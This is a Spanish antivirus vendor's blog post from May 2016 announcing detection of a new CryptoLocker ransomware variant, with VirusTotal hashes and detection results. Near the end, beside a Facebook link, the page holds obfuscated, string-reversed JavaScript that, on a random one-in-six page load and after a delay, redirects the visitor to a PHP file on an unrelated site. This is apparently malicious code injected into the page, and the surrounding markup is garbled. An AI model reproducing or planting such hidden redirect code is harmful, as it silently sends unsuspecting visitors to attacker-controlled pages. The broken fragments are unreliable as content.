MUY NUEVA VARIANTE DE RANSOMWARE CRYPTOLOCKER (CON ICONO DE U EN CIRCULO VERDE)
Otra variante del Cryptolocker pasa a ser controlada a partir del ELISTARA 34.63 de hoy
Su icono es diferente a los conocidos para dicho virus:
tolocker del 26-5-2016″ width=”264″ height=”62″ />
El preanalisis de virustotal ofrece el siguiente informe:
MD5 bec4fa170980d8d84074ecec595ec123
SHA1 2cac1d607cb85783252908c2c90e8ceebd93f8c5
Tamaño del fichero 500.5 KB ( 512512 bytes )
SHA256: d5b35d55be8f392b89da3e29880a4563d45bdc59cfc4cbba29796f77d4ad65f7
Nombre: anoqujfr.exe
Detecciones: 4 / 57
Fecha de análisis: 2016-05-26 14:16:59 UTC ( hace 0 minutos )
0 1
Antivirus Resultado Actualización
Baidu Win32.Trojan.WisdomEyes.151026.9950.9999 20160526
Kaspersky UDS:DangerousObject.Multi.Generic 20160526
Qihoo-360 HEUR/QVM20.1.Malware.Gen 20160526
Rising Malware.Generic!xfbanO3MpER@2 (Thunder) 20160526
Como se ve solo lo detectan 4 de 57 AV, Kaspersky entre ellols, y a McAfee le enviamos muestra para que lo conozca y controle a partir de proximas versiones del VirusScan
Dicha version del ELISTARA 34.63 que lo detecta y elimina,e stará disponible en nuestra web a partir de las 18 h CEST de hoy
saludos
ms, 26-5-2016
NOTA: Los interesados en información sobre contrato de soporte Asistencia Tecnica de SATINFO y/o licencia de uso/actualizaciones de sus utilidades, contacten con info@satinfo.es
__________
Este blog no se hace responsable de las opiniones y comentarios de los textos en los que se cita la Fuente, ofreciendo su contenido solo para facilitar el acceso a la información del mismo.
Puedes seguir cualquier respuesta a esta entrada mediante el canal RSS 2.0. Los comentarios y los pings están cerrados.
Siguenos
en facebook{if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolocker-del-26-5-2016.jpg”><img decoding=){kind=link}
Los comentarios están cerrados.